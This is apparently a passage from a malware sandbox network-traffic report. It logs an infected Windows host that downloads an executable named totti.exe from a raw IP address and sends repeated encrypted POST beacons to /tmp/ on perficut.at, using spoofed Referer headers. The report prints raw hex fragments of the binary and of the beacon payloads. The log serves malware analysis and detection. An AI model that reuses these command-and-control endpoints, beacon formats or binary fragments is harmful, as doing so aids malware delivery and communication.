Feb 16, 2023 13:58:11.153033018 CET	4855	IN	Data Raw: 45 f0 74 08 0d 00 00 00 80 89 45 f0 d1 6d f4 83 e9 01 75 da dd 45 f0 85 d2 74 02 d9 e0 8b 45 0c dd 18 eb 03 33 ff 47 85 ff 5f 74 08 6a 10 e8 c1 04 00 00 59 83 e6 fd f6 c3 10 74 11 f6 45 10 20 74 0b 6a 20 e8 ab 04 00 00 59 83 e6 ef 33 c0 85 f6 5e Data Ascii: EtEmuEtE3G_tjYtE tj Y3^[]Ujuuuuuu]UE3S3CHEWHEHMtEXtEHtEHtEHtE
Feb 16, 2023 13:58:11.153058052 CET	4856	IN	Data Raw: e4 8b 44 00 db 5d fc 9b f6 c1 08 74 10 9b df e0 db 2d e4 8b 44 00 dd 5d f4 9b 9b df e0 f6 c1 10 74 0a db 2d f0 8b 44 00 dd 5d f4 9b f6 c1 04 74 09 d9 ee d9 e8 de f1 dd d8 9b f6 c1 20 74 06 d9 eb dd 5d f4 9b 8b e5 5d c3 8b ff 55 8b ec 51 9b dd 7d Data Ascii: D]t-D]t-D]t t]]UQ}E]=HF\$D$%=u<$f$ffd$uU=HFt2\$D$%=u<$f$ffd$uE$r
Feb 16, 2023 13:58:11.211910009 CET	4857	IN	Data Raw: 0f 00 75 04 85 d2 74 6a de d9 bf 03 fc ff ff df e0 f6 c4 41 75 05 33 c0 40 eb 02 33 c0 f6 45 0e 10 75 1f 03 c9 89 4d 0c 85 d2 79 06 83 c9 01 89 4d 0c 03 d2 4f f6 45 0e 10 74 e8 66 8b 75 0e 89 55 08 b9 ef ff 00 00 66 23 f1 66 89 75 0e 85 c0 74 0c Data Ascii: utjAu3@3EuMyMOEtfuUf#futffuEjQQ$1#jQQ$^E8_]UQQMEE%]fME]U}Euu@]}uuj

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49715	203.91.116.53	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:58:11.962948084 CET	5321	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wexskr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 207 Host: perficut.at
Feb 16, 2023 13:58:11.962994099 CET	5322	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 12 6b 2c 90 f4 76 0b 75 23 33 e1 e0 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA ,[k,vu#3Lhz!8a;IE#H;7.08Qn(+ymX'#]5At:2\
Feb 16, 2023 13:58:12.762960911 CET	5322	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:58:12 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49716	211.171.233.129	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:58:13.065474987 CET	5323	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://huborjamyv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 148 Host: perficut.at
Feb 16, 2023 13:58:13.065561056 CET	5323	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 76 21 c9 88 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vuv!NN9]wa8+kO}X/lF%OTA0D$h
Feb 16, 2023 13:58:15.057349920 CET	5324	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:58:14 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49717	211.171.233.126	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:58:15.390527010 CET	5325	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hnxmyktp.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 332 Host: perficut.at
Feb 16, 2023 13:58:15.390574932 CET	5325	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 10 6b 2c 90 f5 76 0b 75 57 20 ef b9 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vuW !WweI k9<\|o?>_@XLDLK\|{Y"w X8YXR!!>(G'dje:M`}F}z4
Feb 16, 2023 13:58:16.683794022 CET	5326	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:58:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49687	23.106.124.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:17.717959881 CET	108	OUT	GET /totti.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 23.106.124.133
Feb 16, 2023 13:57:17.879376888 CET	109	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Thu, 16 Feb 2023 12:57:17 GMT Content-Type: application/octet-stream Content-Length: 3884544 Last-Modified: Thu, 16 Feb 2023 12:50:04 GMT Connection: keep-alive ETag: "63ee267c-3b4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 12 2b 9d 19 73 45 ce 19 73 45 ce 19 73 45 ce 07 21 d0 ce 04 73 45 ce 07 21 c6 ce 70 73 45 ce 07 21 c1 ce 31 73 45 ce 3e b5 3e ce 10 73 45 ce 19 73 44 ce 99 73 45 ce 07 21 cf ce 18 73 45 ce 07 21 d1 ce 18 73 45 ce 07 21 d4 ce 18 73 45 ce 52 69 63 68 19 73 45 ce 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d7 ef c3 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 22 01 00 00 f8 4c 00 00 00 00 00 9f 67 00 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 4f 00 00 04 00 00 e4 cd 3b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 26 01 00 64 00 00 00 00 b0 4c 00 98 42 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 4f 00 c4 0b 00 00 f0 11 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 41 00 00 18 00 00 00 c0 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 20 01 00 00 10 00 00 00 22 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 69 4b 00 00 40 01 00 00 92 38 00 00 26 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 52 02 00 00 b0 4c 00 00 44 01 00 00 b8 39 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 42 48 00 00 00 10 4f 00 00 4a 00 00 00 fc 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 2d Data Ascii: MZ@!L!This program cannot be run in DOS mode.$]+sEsEsE!sE!psE!1sE>>sEsDsE!sE!sE!sERichsEPELa"Lg@@`O;&dLBOA@@.text " `.dataHiK@8&@.rsrcRLD9@@.relocBHOJ:@B(-
Feb 16, 2023 13:57:17.879429102 CET	111	IN	Data Raw: 01 00 16 2d 01 00 08 2d 01 00 00 00 00 00 14 29 01 00 2c 29 01 00 46 29 01 00 5e 29 01 00 7c 29 01 00 94 29 01 00 a8 29 01 00 bc 29 01 00 d2 29 01 00 e6 29 01 00 fa 29 01 00 0a 2a 01 00 1e 2a 01 00 32 2a 01 00 40 2a 01 00 52 2a 01 00 64 2a 01 00 Data Ascii: --),)F)^)\|)))))))*2@Rdn*******(++.+J+`+n+++++++,",8,00~0((l0d-z--------."
Feb 16, 2023 13:57:17.879460096 CET	112	IN	Data Raw: 00 00 00 00 00 00 f0 3f 32 ef fc 99 79 82 ca 3f cd 3b 7f 66 9e a0 e6 3f 00 00 00 20 34 dd 8b bc 00 00 00 00 00 00 e0 3f 58 77 24 94 cc 33 c1 3f 41 17 15 6b 80 bc e8 3f 00 00 00 20 e1 c5 82 bc 00 00 00 00 00 00 e0 3f 87 8c e6 9a b3 73 ac 3f a3 a1 Data Ascii: ?2y?;f? 4?Xw$3?Ak? ?s?)f?09<?N,J8?v?uZEeuF2k? Wt<?-v1?-VA?`<?gY\b? bu<?P/Ye&%
Feb 16, 2023 13:57:17.879487991 CET	113	IN	Data Raw: c0 bf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 bf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 2f 59 0f 65 a1 9b bf 26 25 d1 a3 8d d8 ef bf 00 00 00 40 f6 7d 88 3c 00 00 00 00 00 00 c0 3f d5 67 59 0e 1f 1d ac bf b0 5c f7 cf 97 62 ef bf Data Ascii: P/Ye&%@}<?gY\b bu?-v1?-VA`?uZEeuF2k Wt?N,J8v<?s?)f09?Xw$3?Ak
Feb 16, 2023 13:57:17.879517078 CET	115	IN	Data Raw: cc 33 c1 3f 41 17 15 6b 80 bc e8 3f 00 00 00 20 e1 c5 82 bc 00 00 00 00 00 00 e0 3f 87 8c e6 9a b3 73 ac 3f a3 a1 0e 29 66 9b ea 3f 00 00 00 e0 30 f6 39 3c 00 00 00 00 00 00 e0 3f 4e 9c 90 7f 2c 4a 9d bf b1 bd 80 f1 b2 38 ec 3f 00 00 00 80 b1 e0 Data Ascii: 3?Ak? ?s?)f?09<?N,J8?v?uZEeuF2k? Wt<?-v1?-VA?`<?gY\b? bu<?P/Ye&%?@}??
Feb 16, 2023 13:57:17.879544020 CET	116	IN	Data Raw: d1 a3 8d d8 ef bf 00 00 00 40 f6 7d 88 3c 00 00 00 00 00 00 c0 3f d5 67 59 0e 1f 1d ac bf b0 5c f7 cf 97 62 ef bf 00 00 00 20 17 62 75 bc 00 00 00 00 00 00 d0 3f 2d f8 ac 76 31 a0 a4 3f da 2d c6 56 41 9f ee bf 00 00 00 e0 b1 60 87 bc 00 00 00 00 Data Ascii: @}<?gY\b bu?-v1?-VA`?uZEeuF2k Wt?N,J8v<?s?)f09?Xw$3?Ak <?2y?;f 4<
Feb 16, 2023 13:57:17.879587889 CET	117	IN	Data Raw: 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 0d 0a 00 00 52 36 30 33 30 0d 0a 2d 20 43 52 54 20 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 64 0d 0a 00 00 52 36 30 32 38 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f 20 69 6e 69 74 69 61 6c 69 7a 65 20 Data Ascii: our application.R6030- CRT not initializedR6028- unable to initialize heapR6027- not enough space for lowio initializationR6026- not enough space for stdio initializationR6025- pure virtual function call
Feb 16, 2023 13:57:17.879614115 CET	119	IN	Data Raw: 00 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 28 00 28 00 28 00 28 00 28 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 48 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 Data Ascii: ((((( H
Feb 16, 2023 13:57:17.879642010 CET	120	IN	Data Raw: 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd Data Ascii: \|}~
Feb 16, 2023 13:57:17.879668951 CET	121	IN	Data Raw: 79 6e 61 6d 69 63 20 61 74 65 78 69 74 20 64 65 73 74 72 75 63 74 6f 72 20 66 6f 72 20 27 00 00 00 00 60 64 79 6e 61 6d 69 63 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 66 6f 72 20 27 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 Data Ascii: ynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete
Feb 16, 2023 13:57:18.040545940 CET	123	IN	Data Raw: e8 3b 40 00 e4 3b 40 00 e0 3b 40 00 dc 3b 40 00 d8 3b 40 00 d4 3b 40 00 d0 3b 40 00 cc 3b 40 00 c8 3b 40 00 c4 3b 40 00 c0 3b 40 00 bc 3b 40 00 b8 3b 40 00 b4 3b 40 00 b0 3b 40 00 ac 3b 40 00 a8 3b 40 00 a4 3b 40 00 a0 3b 40 00 9c 3b 40 00 98 3b Data Ascii: ;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@x;@p;@d;@L;@@;@,;@;@:@:@:@:@h:@L:@(:@:@9@9@9@9@9@9@t9@l9@`9@P9@49@9@8@8@8@p8@T8@08@8@7@7@7@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49688	95.158.162.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:25.777270079 CET	4218	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://biqlae.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 251 Host: perficut.at
Feb 16, 2023 13:57:25.777297974 CET	4219	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 0b 6b 2c 90 f4 76 0b 75 5b 42 ae bc Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA ,[k,vu[Bw"v~Ml3iP,@{qUj~we<OB1$IA\(~>dX/z4V4};&a_q!mlC-Y
Feb 16, 2023 13:57:26.103118896 CET	4219	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49689	95.158.162.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:27.259749889 CET	4221	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cidgpb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 358 Host: perficut.at
Feb 16, 2023 13:57:27.259799004 CET	4221	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 73 50 dc fc Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vusPOtA`L> 2vEzWc}xIRl&%C!Rm2glB2=YQk{7/2;Y1j`Z:>h\dg/
Feb 16, 2023 13:57:27.592839003 CET	4222	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:27 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

